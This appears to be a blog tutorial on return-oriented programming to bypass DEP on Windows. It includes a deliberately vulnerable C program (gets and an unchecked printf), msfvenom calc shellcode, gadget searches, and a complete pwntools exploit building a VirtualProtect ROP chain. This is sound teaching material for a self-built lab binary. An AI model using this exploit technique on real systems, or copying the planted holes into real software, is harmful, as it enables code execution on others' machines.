Hello everyone. Mirrai here as always. Well, maybe "sometimes" is a better fit haha. Today we’re diving into Return-Oriented Programming (ROP). If you’ve read my previous buffer overflow posts, you know that overwriting the return address and jumping straight into stack-allocated shellcode works great on vulnerable binaries unless DEP (Data Execution Prevention) is enabled. Now we'll learn how to bypass DEP with ROP chains.
1. What is ROP?
To start, what is a ROP chain anyway? A ROP chain is basically an arrangement of a short series of instructions in a program's .text section. This is the same section of a Windows executable that stores the code actually run by the CPU. These pieces are called gadgets. A ROP chain is the combination of gadgets to achieve code execution.
For example, say a program has mov rcx, 0; ret. This is a gadget, but it isn't useful by itself. Now I want you to imagine that we have inputted our shellcode into the process because of a buffer overflow that we found, but that code isn't executable because of DEP. How do we handle this? By making the code region executable of course. But how do we do that without executable code, you may ask? A real chicken-and-egg situation here. That's where ROP comes in.
These are the function parameters for VirtualProtect:
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
In assembly, if we wanted to set these arguments in a program it would look something like:
mov rcx, lpAddress
mov rdx, dwSize
mov r8, flNewProtect
mov r9, lpflOldProtect
Then we call VirtualProtect. This depends on where VirtualProtect is. Typically we get the address from an info leak like a format string vulnerability (more on that in a different tutorial), or in this case, we just find it by using a debugger.
To get the arguments to the registers, we need gadgets like pop rcx; ret which writes the value at RSP's current address to the register and increments the stack (RSP) by 8 bytes, making it shrink because the stack grows downward. The ret will then change RIP to the value of what is at RSP's current address and increment the stack by another 8 bytes.
Because ret pops the top value off the stack into RIP, controlling the stack allows you to chain multiple gadgets together. The stack stops being temporary storage and becomes your program counter and register provider all at once.
For a concrete example:
[ Gadget 1 Addr ] -> pop rcx; ret
[ lpAddress Addr ] -> Loaded into RCX
[ Gadget 2 Addr ] -> pop rdx; ret
[ dwSize value ] -> Loaded into RDX
[ Gadget 3 Addr ] -> pop r8; ret
[ flNewProtect value] -> Loaded into r8
[ Gadget 4 Addr ] -> pop r9; ret
[ lpflOldProtect value] -> Loaded into r9
[ VirtualProtect Addr] -> jumps to the function
[ Shellcode Addr] -> jumps to shellcode
Remember that after every pop and ret, the stack (RSP) is incremented. If you ret into Gadget 1, RSP's current address then becomes set on the lpAddress value. When pop rcx is done, that value is stored in rcx. RSP then points to Gadget 2's address, and the ret changes RIP to Gadget 2's address, which then changes RSP to point to the dwSize value—repeating the cycle until VirtualProtect is called.
2. Setting up the exploit
Firstly, you will need to know how to set up a buffer overflow exploit and understand what it means, because that is our means of initial access. If you don't know how to do that, you can check out my earlier articles on it. With that in mind, I want our program to look like this:
#include <stdio.h>
void __attribute__((used)) gadgets() {
asm volatile (
"pop rcx; ret\n\t"
"pop rdx; ret\n\t"
"pop r8; ret\n\t"
"pop r9; ret\n\t"
);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
char username[1024] = {0};
gets(username);
printf(username);
}
You might have noticed printf(username)in the C code. This introduces a format string vulnerability, which can be used to create an info leak. We aren't exploiting that today though. That is a topic for another write-up, but I thought it would be a fun detail to leave in.
Anyway, compile it with GCC (idk if MSVC accepts that asm stub) or just use the compiled version on my GitHub, which I will link soon if I haven't already. Here it is. You can get the exact binary from the releases page.
If you want to compile it yourself use:
gcc -masm=intel -fno-ident -no-pie -fno-stack-protector -g main.c -o rop_chaining.exe
Now install Ropper:
pip install ropper
Now use Ropper to find the addresses of the gadgets: pop rcx, pop rdx, pop r8, pop r9
ropper --file "rop_chaining.exe" --search "pop r9"
Do this for every gadget. You should get an output like this. Save the addresses somewhere safe.
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r9
[INFO] File: rop_chaining.exe
0x000000014000176b: pop r9; ret;
Now get the shellcode that you will use. In my case I use the msfvenom calc shellcode:
msfvenom -p windows/x64/exec CMD=calc -f python -b "\x00\x0a\x0d\x1a" -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 311 (iteration=0)
x64/xor chosen with final size 311
Payload size: 311 bytes
Final size of python file: 1754 bytes
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xde\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x99\x86\xe0"
shellcode += b"\x1e\x73\xf5\xf0\xbb\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x65\xce\x63\xfa\x83"
shellcode += b"\x1d\x30\xbb\x99\x86\xa1\x4f\x32\xa5\xa2\xea"
shellcode += b"\xcf\xce\xd1\xcc\x16\xbd\x7b\xe9\xf9\xce\x6b"
shellcode += b"\x4c\x6b\xbd\x7b\xe9\xb9\xce\x6b\x6c\x23\xbd"
shellcode += b"\xff\x0c\xd3\xcc\xad\x2f\xba\xbd\xc1\x7b\x35"
shellcode += b"\xba\x81\x62\x71\xd9\xd0\xfa\x58\x4f\xed\x5f"
shellcode += b"\x72\x34\x12\x56\xcb\xc7\xb1\x56\xf8\xa7\xd0"
shellcode += b"\x30\xdb\xba\xa8\x1f\xa3\x7e\x70\x33\x99\x86"
shellcode += b"\xe0\x56\xf6\x35\x84\xdc\xd1\x87\x30\x4e\xf8"
shellcode += b"\xbd\xe8\xff\x12\xc6\xc0\x57\x72\x25\x13\xed"
shellcode += b"\xd1\x79\x29\x5f\xf8\xc1\x78\xf3\x98\x50\xad"
shellcode += b"\x2f\xba\xbd\xc1\x7b\x35\xc7\x21\xd7\x7e\xb4"
shellcode += b"\xf1\x7a\xa1\x66\x95\xef\x3f\xf6\xbc\x9f\x91"
shellcode += b"\xc3\xd9\xcf\x06\x2d\xa8\xff\x12\xc6\xc4\x57"
shellcode += b"\x72\x25\x96\xfa\x12\x8a\xa8\x5a\xf8\xb5\xec"
shellcode += b"\xf2\x98\x56\xa1\x95\x77\x7d\xb8\xba\x49\xc7"
shellcode += b"\xb8\x5f\x2b\xab\xa9\xe1\xd8\xde\xa1\x47\x32"
shellcode += b"\xaf\xb8\x38\x75\xa6\xa1\x4c\x8c\x15\xa8\xfa"
shellcode += b"\xc0\xdc\xa8\x95\x61\x1c\xa7\x44\x66\x79\xbd"
shellcode += b"\x56\xc9\xf4\xf0\xbb\x99\x86\xe0\x1e\x73\xbd"
shellcode += b"\x7d\x36\x98\x87\xe0\x1e\x32\x4f\xc1\x30\xf6"
shellcode += b"\x01\x1f\xcb\xc8\x05\x45\x19\xcf\xc7\x5a\xb8"
shellcode += b"\xe6\x48\x6d\x44\x4c\xce\x63\xda\x5b\xc9\xf6"
shellcode += b"\xc7\x93\x06\x1b\xfe\x06\xf0\x4b\xfc\x8a\xf4"
shellcode += b"\x8f\x74\x73\xac\xb1\x32\x43\x79\x35\x7d\x12"
shellcode += b"\x99\x93\xbb"
The -b "\x00\x0a\x0d\x1a" is to remove bad bytes. \x1a was tricky for me because it seems Windows can take it as a bad byte in certain contexts.
And now, time for the exploit code:
from pwn import *
base = os.path.dirname(__file__)
process_path = os.path.join(base, "rop_chaining.exe")
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xde\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x99\x86\xe0"
shellcode += b"\x1e\x73\xf5\xf0\xbb\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x65\xce\x63\xfa\x83"
shellcode += b"\x1d\x30\xbb\x99\x86\xa1\x4f\x32\xa5\xa2\xea"
shellcode += b"\xcf\xce\xd1\xcc\x16\xbd\x7b\xe9\xf9\xce\x6b"
shellcode += b"\x4c\x6b\xbd\x7b\xe9\xb9\xce\x6b\x6c\x23\xbd"
shellcode += b"\xff\x0c\xd3\xcc\xad\x2f\xba\xbd\xc1\x7b\x35"
shellcode += b"\xba\x81\x62\x71\xd9\xd0\xfa\x58\x4f\xed\x5f"
shellcode += b"\x72\x34\x12\x56\xcb\xc7\xb1\x56\xf8\xa7\xd0"
shellcode += b"\x30\xdb\xba\xa8\x1f\xa3\x7e\x70\x33\x99\x86"
shellcode += b"\xe0\x56\xf6\x35\x84\xdc\xd1\x87\x30\x4e\xf8"
shellcode += b"\xbd\xe8\xff\x12\xc6\xc0\x57\x72\x25\x13\xed"
shellcode += b"\xd1\x79\x29\x5f\xf8\xc1\x78\xf3\x98\x50\xad"
shellcode += b"\x2f\xba\xbd\xc1\x7b\x35\xc7\x21\xd7\x7e\xb4"
shellcode += b"\xf1\x7a\xa1\x66\x95\xef\x3f\xf6\xbc\x9f\x91"
shellcode += b"\xc3\xd9\xcf\x06\x2d\xa8\xff\x12\xc6\xc4\x57"
shellcode += b"\x72\x25\x96\xfa\x12\x8a\xa8\x5a\xf8\xb5\xec"
shellcode += b"\xf2\x98\x56\xa1\x95\x77\x7d\xb8\xba\x49\xc7"
shellcode += b"\xb8\x5f\x2b\xab\xa9\xe1\xd8\xde\xa1\x47\x32"
shellcode += b"\xaf\xb8\x38\x75\xa6\xa1\x4c\x8c\x15\xa8\xfa"
shellcode += b"\xc0\xdc\xa8\x95\x61\x1c\xa7\x44\x66\x79\xbd"
shellcode += b"\x56\xc9\xf4\xf0\xbb\x99\x86\xe0\x1e\x73\xbd"
shellcode += b"\x7d\x36\x98\x87\xe0\x1e\x32\x4f\xc1\x30\xf6"
shellcode += b"\x01\x1f\xcb\xc8\x05\x45\x19\xcf\xc7\x5a\xb8"
shellcode += b"\xe6\x48\x6d\x44\x4c\xce\x63\xda\x5b\xc9\xf6"
shellcode += b"\xc7\x93\x06\x1b\xfe\x06\xf0\x4b\xfc\x8a\xf4"
shellcode += b"\x8f\x74\x73\xac\xb1\x32\x43\x79\x35\x7d\x12"
shellcode += b"\x99\x93\xbb"
shellcode_size = p64(len(shellcode))
shellcode_location = p64(0x00000000005FFA70)
nop = b"\x90"
ret_int = 0x00000000005FFE78
ret_addr = p64(ret_int)
offset = 1032
buffer_addr_int = ret_int - offset
buffer_addr = p64(buffer_addr_int)
lpAddress = shellcode_location
dwSize = shellcode_size
flNewProtect = p64(0x40)
lpflOldProtect = p64(buffer_addr_int + len(shellcode))
pop_rcx_addr = p64(0x0000000140001764)
pop_rdx_addr = p64(0x0000000140001766)
pop_r8_addr = p64(0x0000000140001768)
pop_r9_addr = p64(0x000000014000176b)
virtual_protect = p64(0x0000000140003478)
rop_chain = b''
rop_chain += pop_rcx_addr
rop_chain += lpAddress
rop_chain += pop_rdx_addr
rop_chain += dwSize
rop_chain += pop_r8_addr
rop_chain += flNewProtect
rop_chain += pop_r9_addr
rop_chain += lpflOldProtect
rop_chain += virtual_protect
rop_chain += shellcode_location
payload = shellcode + nop * (offset - len(shellcode)) + rop_chain # Write the old protection outside the shellcode
p = process([process_path])
print("[*] Process started")
# input("[*] Insert Debugger and press enter")
p.sendline(payload)
p.wait()
The debug line was from when I was still testing it out. Keep in mind that you will have to get the offsets yourself from your debugger if you want to test this out. Unless you are using my compiled binary, which you can get here, my hard-coded offsets will likely not work on your system. The process of finding these offsets is a great learning opportunity, I'd say.
One important detail here is lpflOldProtect. The VirtualProtect function requires a writable memory address to store the old memory protection value. If you pass it a null byte or an invalid pointer, the function will fail, and your exploit will crash before the shellcode executes. In our exploit script, we point this to an unused area of the stack by just giving the function the space after the shellcode. Hence, lpflOldProtect = p64(buffer_addr_int + len(shellcode))
Anyway, if you look at the way rop_chain = b'' is built, you will notice that the structure is similar to the one I talked about very early on. Remember that in this case, you are using the stack as both storage and a way to set arguments.
3. Wrapping up
I know ROP looks complicated, but the main idea is simply using returns as a way to travel across different instructions in a program to achieve code execution. If you find it difficult, that's completely fine. I can't pretend like I was any better when I started, lol. I recommend messing around in a debugger, tracking how ret and pop change the stack, and seeing how ret can be a way of redirecting execution.
With that, hopefully, you understand ROP a bit better now. If you could follow along, then you have successfully bypassed DEP, so congrats. If you have any issues, though, as usual, feel free to ask me. I'm always happy to help. See ya next time when I hopefully have a less busy schedule.
Top comments (0)